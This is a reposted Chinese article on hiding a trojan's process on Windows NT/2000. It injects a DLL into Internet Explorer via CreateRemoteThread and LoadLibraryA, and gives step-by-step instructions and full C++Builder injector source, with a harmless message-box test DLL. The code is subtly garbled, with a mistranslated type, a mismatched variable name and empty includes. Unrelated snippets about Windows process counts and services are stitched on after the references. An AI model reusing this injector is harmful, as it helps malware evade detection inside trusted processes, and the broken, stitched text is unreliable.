摘要 進程的隱藏一直是木馬程序設(shè)計者不斷探求的重要技術(shù),本文采用遠程線程技術(shù),通過動態(tài)鏈接庫 方法 ,較好地解決了這一 問題 ,通過遠程線程將木馬作為線程隱藏在其他進程中,從而達到隱藏的目的。

成都創(chuàng)新互聯(lián)公司是網(wǎng)站建設(shè)技術(shù)企業(yè),為成都企業(yè)提供專業(yè)的網(wǎng)站設(shè)計制作、網(wǎng)站設(shè)計,網(wǎng)站設(shè)計,網(wǎng)站制作,網(wǎng)站改版等技術(shù)服務(wù)。擁有十余年豐富建站經(jīng)驗和眾多成功案例,為您定制適合企業(yè)的網(wǎng)站。十余年品質(zhì),值得信賴!
關(guān)鍵字進程 線程 木馬 動態(tài)鏈接庫
木馬程序(也稱后門程序)是能被控制的運行在遠程主機上的程序,由于木馬程序是運行在遠程主機上,所以進程的隱藏無疑是大家關(guān)心的焦點。
本文 分析 了Windows NT/2000系統(tǒng)下進程隱藏的基本技術(shù)和方法,并著重討論運用線程嫁接技術(shù)如何實現(xiàn)Windows NT/2000系統(tǒng)中進程的隱藏。
1 基本原理
在WIN95/98中,只需要將進程注冊為系統(tǒng)服務(wù)就能夠從進程查看器中隱形,可是這一切在Windows NT/2000中卻完全不同, 無論木馬從端口、啟動文件上如何巧妙地隱藏自己,始終都不能躲過Windows NT/2000的任務(wù)管理器,Windows NT/2000的任務(wù)管理器均能輕松顯示出木馬進程,難道在Windows NT/2000下木馬真的再也無法隱藏自己的進程了?我們知道,在WINDOWS系統(tǒng)下,可執(zhí)行文件主要是Exe和Com文件,這兩種文件在運行時都有一個共同點,會生成一個獨立的進程,尋找特定進程是我們發(fā)現(xiàn)木馬的方法之一,隨著入侵檢測軟件的不斷 發(fā)展 ,關(guān)聯(lián)進程和SOCKET已經(jīng)成為流行的技術(shù),假設(shè)一個木馬在運行時被檢測軟件同時查出端口和進程,我們基本上認為這個木馬的隱藏已經(jīng)完全失敗。在Windows NT/2000下正常情況用戶進程對于系統(tǒng)管理員來說都是可見的,要想做到木馬的進程隱藏,有兩個辦法,第一是讓系統(tǒng)管理員看不見你的進程;第二是不使用進程。本文以第二種方法為例加以討論,其基本原理是將自已的木馬以線程方式嫁接于遠程進程之中,遠程進程則是合法的用戶程序,這樣用戶管理者看到的只是合法進程,而無法發(fā)現(xiàn)木馬線程的存在,從而達到隱藏的目的。
2 實現(xiàn)方法
為了弄清實現(xiàn)方法,我們必須首先了解Windows系統(tǒng)的另一種"可執(zhí)行文件"----DLL,DLL是Dynamic Link Library(動態(tài)鏈接庫)的縮寫,DLL文件是Windows的基礎(chǔ),因為所有的API函數(shù)都是在DLL中實現(xiàn)的。DLL文件沒有程序邏輯,是由多個功能函數(shù)構(gòu)成,它并不能獨立運行,一般都是由進程加載并調(diào)用的。因為DLL文件不能獨立運行,所以在進程列表中并不會出現(xiàn)DLL,假設(shè)我們編寫了一個木馬DLL,并且通過別的進程來運行它,那么無論是入侵檢測軟件還是進程列表中,都只會出現(xiàn)那個進程而并不會出現(xiàn)木馬DLL,如果那個進程是可信進程,(例如瀏覽器程序IEXPLORE.EXE,沒人會懷疑它是木馬吧?)那么我們編寫的DLL作為那個進程的一部分,也將成為被信賴的一員,也就達到了隱藏的目的。
運行DLL方法有多種,但其中最隱蔽的.方法是采用動態(tài)嵌入技術(shù),動態(tài)嵌入技術(shù)指的是將自己的代碼嵌入正在運行的進程中的技術(shù)。 理論 上來說,在Windows中的每個進程都有自己的私有內(nèi)存空間,別的進程是不允許對這個私有空間進行操作的,但是實際上,我們?nèi)匀豢梢岳梅N種方法進入并操作進程的私有內(nèi)存。動態(tài)嵌入技術(shù)有多種如:窗口Hook、掛接API、遠程線程等,這里介紹一下遠程線程技術(shù),它只要有基本的進線程和動態(tài)鏈接庫的知識就可以很輕松地完成動態(tài)嵌入。
遠程線程技術(shù)指的是通過在另一個進程中創(chuàng)建遠程線程的方法進入那個進程的內(nèi)存地址空間。我們知道,在進程中,可以通過CreateThread函數(shù)創(chuàng)建線程,被創(chuàng)建的新線程與主線程(就是進程啟動時被同時自動建立的那個線程)共享地址空間以及其他的資源。但是很少有人知道,通過CreateRemoteThread也同樣可以在另一個進程內(nèi)創(chuàng)建新線程,被創(chuàng)建的遠程線程同樣可以共享遠程進程(是遠程進程)的地址空間,所以,實際上,我們通過一個遠程線程,進入了遠程進程的內(nèi)存地址空間,也就擁有了那個遠程進程相當?shù)臋?quán)限。
3 實施步驟
1) 用Process32Next()函數(shù)找到宿主進程,獲取宿主進程ID,并用
OpenProcess()函數(shù)打開宿主進程。
2) 用VirtualAllocEx()函數(shù)分配遠程進程地址空間中的內(nèi)存。
3) 用WriteProcessMemory()函數(shù)將待隱藏的DLL的路徑名。
4) 拷貝到步驟二已經(jīng)分配的內(nèi)存中。
5) 用GetProcAddress()函數(shù)獲取LoadlibraryA()函數(shù)的實地址(在kernel32.dll中)。
6) 用CreateRemoteThread()函數(shù)在遠程進程中創(chuàng)建一個線程。
7) 它調(diào)用正確的LoadlibraryA()函數(shù)。
8) 為它傳遞步驟二中分配的內(nèi)存地址。
4 具體實例
下面是在C++Builder 4.0環(huán)境下編寫的運用遠程線程技術(shù)隱藏木馬的程序代碼:
#include
#include
#include
#include//該頭文件包涵了進程操作的API函數(shù)
#pragma hdrstop
#include "Unit1.h"
#pragma package(smart_init)
#pragma resource "*.dfm"
Insisting pszLibFileName;//存放待隱藏的DLL文件名
HANDLE hProcessSnap=NULL;//進程快照句柄
HANDLE hRemoteProcess;//遠程進程句柄
LPVOID pszLibFileRemote;//遠程進程中分配給文件名的空間
HMODULE phmd;//存放kernel32.dll句柄
HANDLE hRemoteThread1=NULL;//存放遠程線程句柄
TForm1 *Form1;
//---------------------------------------------------------
__fast call TForm1::TForm1(TComponent* Owner)
: TForm(Owner)
{
}
//---------------------------------------------------------
void __fastcall TForm1::Button1Click(TObject *Sender)
{
PROCESSENTRY32 pe32={0};
DWORD dwRemoteProcessId;
hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
//打開進程快照
if(hProcessSnap==(HANDLE)-1)
{
MessageBox(NULL,"CreateToolhelp32Snapshot failed","",MB_OK);
exit(0);
} //失敗返回
pe32.dwSize=sizeof(PROCESSENTRY32);
if(Process32First(hProcessSnap,pe32)) //獲取第一個進程
{
do{
AnsiString te;
te=pe32.szExeFile;
if(te.Pos("iexplore.exe")|| te.Pos("IEXPLORE.EXE"))
//找到宿主進程,以IEXPLORE.EXE為例
{ dwRemoteProcessId=pe32.th32ProcessID;
break;
}
}
while(Process32Next(hProcessSnap,pe32));//獲取下一個進程
}
else
{
MessageBox(NULL,"取第一個進程失敗","",MB_OK);
exit(0);
}
hRemoteProcess=OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM
_OPERATION|PROCESS_VM_WRITE,FALSE,dwRemoteProcessId);
//打開遠程進程
pszLibFileName=GetCurrentDir()+""+"hide.dll";
// 假設(shè)hide.dll是待隱藏的進程
int cb=(1+pszLibFileName.Length())*sizeof(char);// 計算 dll文件名長度
pszLibFileRemote=(PWSTR)VirtualAllocEx(hRemoteProcess,NULL,cb,
MEM_COMMIT,PAGE_READWRITE);
//申請存放文件名的空間
BOOL ReturnCode=WriteProcessMemory(hRemoteProcess,
pszLibFileRemote,(LPVOID)pszLibFileName.c_str(),cb,NULL);
//把dll文件名寫入申請的空間
phmd=GetModuleHandle("kernel32.dll");
LPTHREAD_START_ROUTINE fnStartAddr=(LPTHREAD_START_ROUTINE)
GetProcAddress(phmd,"LoadLibraryA");
//獲取動態(tài)鏈接庫函數(shù)地址
hRemoteThread1=CreateRemoteThread(hRemoteProcess,NULL,0,
pfnStartAddr,pszLibFileRemote,0,NULL);
//創(chuàng)建遠程線程
if(hRemoteThread1!=NULL)
CloseHandle(hRemoteThread1);//關(guān)閉遠程線程
if(hProcessSnap!=NULL)
CloseHandle(hProcessSnap);//關(guān)閉進程快照
}
該程序編譯后命名為RmtDll.exe,運行時點擊界面上的按鈕即可。
至此,遠程嵌入順利完成,為了試驗我們的hide.dll是不是已經(jīng)正常地在遠程線程運行,我同樣在C++Builder4.0環(huán)境下編寫并編譯了下面的hide.dll作為測試:
#include
#include
#pragma hdrstop
#pragma argsused
BOOL WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void* lpReserved)
{
char szProcessId[64];
switch(reason)
{
case DLL_PROCESS_ATTACH:
{//獲取當前進程ID
itoa(GetCurrentProcessId(),szProcessId,10);
MessageBox(NULL,szProcessId,"RemoteDLL",MB_OK);
break;
}
default:
}
return TRUE;
}
當使用RmtDll.exe程序?qū)⑦@個hide.dll嵌入IEXPLORE.EXE進程后假設(shè)PID=1208),該測試DLL彈出了1208字樣的確認框,同時使用PS工具
也能看到:
Process ID: 1208
C:WINNTIEXPLORE.EXE (0x00400000)
……
C:WINNThide.dll (0x100000000)
……
這證明hide.dll已經(jīng)在IEXPLORE.EXE進程內(nèi)正確地運行了。上面程序的頭文件由編譯器自動生成,未作改動,故略之。
5 結(jié)束語
進程隱藏技術(shù)和 方法 有很多,而且這一技術(shù) 發(fā)展 也相當快,本文僅從一個側(cè)面加以討論,希望通過這一探討讓我們對進程隱藏技術(shù)有一個更清楚的認識,同時也為我們防范他人利用進程隱藏手段非法入侵提供 參考 ,本文拋磚引玉,不當之處誠懇批評指正。
參考 文獻
1 Jeffrey Richter著 王建華、張煥生、侯麗坤等譯 Windows核心編程 機械 工業(yè) 出版社2
K.賴斯多夫 H. 亨德森著 希望圖書創(chuàng)作室譯 Borland C++ Builder 實用培訓(xùn)教程.
正常,其實單純從進程數(shù)量來判斷,不太科學(xué)。系統(tǒng)內(nèi)的進程數(shù),直接取決于電腦內(nèi)安裝的軟件和應(yīng)用程序的數(shù)量。
如果是新裝的系統(tǒng),快兩百個進程肯定是不正常的,但是如果是長期使用,安裝了大量應(yīng)用的系統(tǒng),兩百個進程并不算問題。如果你對于系統(tǒng)運行效果有疑問,可以嘗試用優(yōu)化工具進行優(yōu)化,或者重裝系統(tǒng)。
后臺應(yīng)用有兩大特點:
一、既然是后臺,也就是表面上看不到任何動靜。沒有窗口,通常也不會出現(xiàn)什么提示,就好像它根本不存在一樣。
二、既然是后臺應(yīng)用,也就是說,它仍然在運行。既然在運行,它就要占用系統(tǒng)資源。有時候,當你無緣無故覺得系統(tǒng)特別慢特別卡時,往往就是后臺應(yīng)用在作怪。
1、“進程”是程序運行的實例,系統(tǒng)會給運行中的進程分配CPU,內(nèi)存等資源。
2、系統(tǒng)進程一般包括:基本系統(tǒng)進程和附加進程。基本系統(tǒng)進程是系統(tǒng)運行的必備條件,只有這些進程處于活動狀態(tài),系統(tǒng)才能正常運行;而附加進程則不是必需的,你可以根據(jù)需要新建或結(jié)束。
準備工具/材料:裝有windows 10的電腦一臺。
電腦windows系統(tǒng)服務(wù)進程打開的辦法如下:
1、打開電腦,右擊我的電腦,選擇“管理”,如圖所示。
2、進入之后,點擊圖示位置按鍵,打開下拉菜單。
3、打開之后,選擇“服務(wù)”,進入下一頁面。
4、打開之后,即可看到電腦的服務(wù)選項。
本文標題:關(guān)于windows系統(tǒng)進程的信息
轉(zhuǎn)載來源:http://chinadenli.net/article26/dsepgjg.html
成都網(wǎng)站建設(shè)公司_創(chuàng)新互聯(lián),為您提供企業(yè)建站、小程序開發(fā)、網(wǎng)站營銷、Google、營銷型網(wǎng)站建設(shè)、靜態(tài)網(wǎng)站
聲明:本網(wǎng)站發(fā)布的內(nèi)容(圖片、視頻和文字)以用戶投稿、用戶轉(zhuǎn)載內(nèi)容為主,如果涉及侵權(quán)請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網(wǎng)站立場,如需處理請聯(lián)系客服。電話:028-86922220;郵箱:631063699@qq.com。內(nèi)容未經(jīng)允許不得轉(zhuǎn)載,或轉(zhuǎn)載時需注明來源: 創(chuàng)新互聯(lián)